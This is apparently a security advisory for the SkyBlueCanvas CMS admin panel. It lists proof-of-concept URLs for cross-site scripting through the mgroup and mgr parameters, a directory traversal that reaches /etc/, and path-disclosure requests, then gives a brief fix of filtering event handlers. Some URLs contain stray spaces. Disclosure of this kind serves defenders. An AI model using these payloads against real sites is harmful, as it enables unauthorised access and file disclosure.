-:: The Advisory ::-

Vulnerable Function / ID Calls:
mgroup, mgr, objtype, id & dir.

Cross Site Scripting: (requires administrator access - will not survive a login screen)
http://[HOST]/skybluecanvas/admin.php?mgroup=" onmouseover=alert(0) > &mgr=email&objtype=email&sub=viewemail&id=2
http://[HOST]/skybluecanvas/admin.php?mgroup=collections&mgr=" onmouseover=alert(0) > &com=manager

Impossible XSS: (XML errors or hidden tags preventing use of event handlers.)
http://[HOST]/skybluecanvas/admin.php?mgroup=pages&mgr=page&objtype=XSS
http://[HOST]skybluecanvas/admin.php?mgroup=settings&mgr=configuration&objtyp e=">XSS
http://[HOST]/skybluecanvas/admin.php?mgroup=pages&mgr=page&objtype=page&sub=e ditpage&id=" onfocus=alert(0) >
http://[HOST]/skybluecanvas/admin.php?mgrou=pictures&mgr=media&dir='XSS

Path Content Disclosure: (requires admin privileges)
http://[HOST]/skybluecanvas/admin.php?mgrou=pictures&mgr=media&dir=../../../../../../../etc/
-- This was done in a folder where /skybluecanvas was located in: /var/www/somesite.tld/awebdir/skybluecanvas/
--=-- In the above, if One goes to a folder with many subdirectories the above will fail due to a memory allocation flaw.

Path Disclosure: (requires admin privileges)
http://[HOST]/skybluecanvas/admin.php?mgroup=pictures&mgr=media&objtype=media& dir=all&sub=move&id='
http://[HOST]/skybluecanvas/admin.php?mgroup=pictures&mgr=media&objtype=media& dir=all&sub=rename&id='

-:: Solution ::-
Filter event handlers out from function calls.

Conclusion:
Pretty secure system overall but if One is a little inventive, then the above issues might be exploitable.
